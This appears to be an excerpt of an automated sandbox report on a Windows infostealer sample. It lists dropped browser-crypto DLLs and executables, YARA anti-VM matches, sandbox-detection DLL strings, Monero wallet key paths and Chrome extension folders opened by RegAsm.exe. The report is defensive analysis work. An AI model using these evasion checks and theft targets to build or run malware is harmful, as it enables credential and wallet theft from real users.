Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\66fa2b049020f_ldnf[1].exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\66fa2afc5abea_vasd[1].exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\KECFIDGCBF.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\sql[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\66fa2afc5abea_vasd[1].exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\66fa2ae906657_snd[1].exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\userBAEBGCFIEH.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\softokn3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\nss3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\userBGDBKKFHIE.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\IDGDAAKFHI.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\DGHIECGCBK.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\KECFIDGCBF.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

3_2_00418A9A

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\IDGDAAKFHI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\IDGDAAKFHI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\IDGDAAKFHI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\IDGDAAKFHI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\IDGDAAKFHI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\IDGDAAKFHI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\IDGDAAKFHI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\IDGDAAKFHI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\IDGDAAKFHI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\IDGDAAKFHI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\IDGDAAKFHI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\IDGDAAKFHI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\DGHIECGCBK.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\DGHIECGCBK.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\DGHIECGCBK.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\DGHIECGCBK.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\DGHIECGCBK.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\DGHIECGCBK.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\DGHIECGCBK.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\DGHIECGCBK.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\DGHIECGCBK.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\DGHIECGCBK.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\DGHIECGCBK.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\DGHIECGCBK.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\KECFIDGCBF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\KECFIDGCBF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\KECFIDGCBF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\KECFIDGCBF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\KECFIDGCBF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\KECFIDGCBF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\KECFIDGCBF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\KECFIDGCBF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\KECFIDGCBF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\KECFIDGCBF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\KECFIDGCBF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\KECFIDGCBF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userBGDBKKFHIE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userBGDBKKFHIE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userBGDBKKFHIE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userBGDBKKFHIE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userBGDBKKFHIE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userBGDBKKFHIE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userBGDBKKFHIE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userBGDBKKFHIE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userBGDBKKFHIE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userBGDBKKFHIE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userBGDBKKFHIE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userBGDBKKFHIE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userBAEBGCFIEH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userBAEBGCFIEH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userBAEBGCFIEH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userBAEBGCFIEH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userBAEBGCFIEH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userBAEBGCFIEH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userBAEBGCFIEH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userBAEBGCFIEH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userBAEBGCFIEH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userBAEBGCFIEH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userBAEBGCFIEH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userBAEBGCFIEH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match	File source: 3.2.RegAsm.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.DGHIECGCBK.exe.4285570.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.38e5570.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.RegAsm.exe.400000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.38e5570.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001E.00000002.2393764076.000000000043A000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2161789576.00000000042BE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1675055595.00000000038E5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7304, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 7376, type: MEMORYSTR

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: RegAsm.exe	Binary or memory string: DIR_WATCH.DLL
Source: DGHIECGCBK.exe, 0000000A.00000002.2161789576.00000000042BE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: INMPM20IXQUGN9:-?5(\C!7%{->^WALLET_PATHSOFTWARE\MONERO-PROJECT\MONERO-CORE.KEYS\MONERO\WALLET.KEYS\\\.\\...\\\\\\\\\\\\HAL9THJOHNDOEDISPLAYAVGHOOKX.DLLAVGHOOKA.DLLSNXHK.DLLSBIEDLL.DLLAPI_LOG.DLLDIR_WATCH.DLLPSTOREC.DLLVMCHECK.DLLWPESPY.DLLCMDVRT32.DLLCMDVRT64.DLL20:41:3120:41:3120:41:3120:41:3120:41:3120:41:31DELAYS.TMP%S%SNTDLL.DLL
Source: RegAsm.exe	Binary or memory string: SBIEDLL.DLL
Source: RegAsm.exe	Binary or memory string: API_LOG.DLL
Source: RegAsm.exe, 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: INMPM20IXQUGN9:-?5(\C!7%{->^WALLET_PATHSOFTWARE\MONERO-PROJECT\MONERO-CORE.KEYS\MONERO\WALLET.KEYS\\\.\\...\\\\\\\\\\\\HAL9THJOHNDOEDISPLAYAVGHOOKX.DLLAVGHOOKA.DLLSNXHK.DLLSBIEDLL.DLLAPI_LOG.DLLDIR_WATCH.DLLPSTOREC.DLLVMCHECK.DLLWPESPY.DLLCMDVRT32.DLLCMDVRT64.DLL16:07:4216:07:4216:07:4216:07:4216:07:4216:07:42DELAYS.TMP%S%SNTDLL.DLL

Source: C:\Users\user\Desktop\file.exe	Memory allocated: B40000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory allocated: 28E0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory allocated: 2710000 memory reserve \| memory write watch	Jump to behavior
Source: C:\ProgramData\IDGDAAKFHI.exe	Memory allocated: 2740000 memory reserve \| memory write watch	Jump to behavior
Source: C:\ProgramData\IDGDAAKFHI.exe	Memory allocated: 2980000 memory reserve \| memory write watch	Jump to behavior
Source: C:\ProgramData\IDGDAAKFHI.exe	Memory allocated: 27C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\ProgramData\DGHIECGCBK.exe	Memory allocated: 3050000 memory reserve \| memory write watch	Jump to behavior
Source: C:\ProgramData\DGHIECGCBK.exe	Memory allocated: 3280000 memory reserve \| memory write watch	Jump to behavior
Source: C:\ProgramData\DGHIECGCBK.exe	Memory allocated: 3090000 memory reserve \| memory write watch	Jump to behavior
Source: C:\ProgramData\KECFIDGCBF.exe	Memory allocated: CE0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\ProgramData\KECFIDGCBF.exe	Memory allocated: 2710000 memory reserve \| memory write watch	Jump to behavior
Source: C:\ProgramData\KECFIDGCBF.exe	Memory allocated: 2630000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\userBGDBKKFHIE.exe	Memory allocated: B90000 memory reserve \| memory write watch
Source: C:\Users\userBGDBKKFHIE.exe	Memory allocated: 2730000 memory reserve \| memory write watch
Source: C:\Users\userBGDBKKFHIE.exe	Memory allocated: 24C0000 memory reserve \| memory write watch
Source: C:\Users\userBAEBGCFIEH.exe	Memory allocated: 1520000 memory reserve \| memory write watch
Source: C:\Users\userBAEBGCFIEH.exe	Memory allocated: 2F60000 memory reserve \| memory write watch
Source: C:\Users\userBAEBGCFIEH.exe	Memory allocated: 2D30000 memory reserve \| memory write watch

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: OpenInputDesktop,SetThreadDesktop,GetCursorPos,GetCursorPos,Sleep,Sleep,GetCursorPos,Sleep,Sleep,GetCursorPos,

3_2_0040180D

Source: C:\Users\user\Desktop\file.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\ProgramData\IDGDAAKFHI.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\ProgramData\DGHIECGCBK.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\ProgramData\KECFIDGCBF.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\userBGDBKKFHIE.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\userBAEBGCFIEH.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\vcruntime140[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\nss3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\softokn3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\mozglue[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\msvcp140[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\msvcp140[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\nss3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\sql[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	API coverage: 7.1 %
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	API coverage: 9.5 %

Source: C:\Users\user\Desktop\file.exe TID: 7360	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\ProgramData\IDGDAAKFHI.exe TID: 7948	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7972	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\ProgramData\DGHIECGCBK.exe TID: 8040	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\ProgramData\KECFIDGCBF.exe TID: 8136	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\timeout.exe TID: 2020	Thread sleep count: 82 > 30
Source: C:\Users\userBGDBKKFHIE.exe TID: 7320	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\userBAEBGCFIEH.exe TID: 3428	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7464	Thread sleep time: -30000s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7464	Thread sleep time: -30000s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_00410DDB GetKeyboardLayoutList followed by cmp: cmp eax, ebx and CTI: jbe 00410EEEh

3_2_00410DDB

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0041543D wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose,	3_2_0041543D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00414CC8 wsprintfA,FindFirstFileA,_memset,_memset,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,_memset,lstrcatA,strtok_s,strtok_s,_memset,lstrcatA,strtok_s,PathMatchSpecA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,strtok_s,strtok_s,FindNextFileA,FindClose,	3_2_00414CC8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00409D1C FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	3_2_00409D1C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0040D5C6 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	3_2_0040D5C6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0040B5DF FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	3_2_0040B5DF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00401D80 FindFirstFileA,StrCmpCA,StrCmpCA,FindFirstFileA,FindNextFileA,FindClose,FindNextFileA,FindClose,	3_2_00401D80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0040BF4D FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,	3_2_0040BF4D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00415FD1 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose,	3_2_00415FD1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0040B93F FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	3_2_0040B93F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00415B0B GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,FindNextFileA,FindClose,lstrcatA,lstrcatA,lstrlenA,lstrlenA,	3_2_00415B0B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0040CD37 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,FindNextFileA,FindClose,	3_2_0040CD37

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_00415142 GetLogicalDriveStringsA,_memset,GetDriveTypeA,lstrcpyA,lstrcpyA,lstrcpyA,lstrlenA,

3_2_00415142

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_00410FBA GetSystemInfo,wsprintfA,

3_2_00410FBA

Source: C:\Users\user\Desktop\file.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\ProgramData\IDGDAAKFHI.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\ProgramData\DGHIECGCBK.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\ProgramData\KECFIDGCBF.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\userBGDBKKFHIE.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\userBAEBGCFIEH.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: RegAsm.exe, 00000003.00000002.2192823083.0000000000D7C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWdF
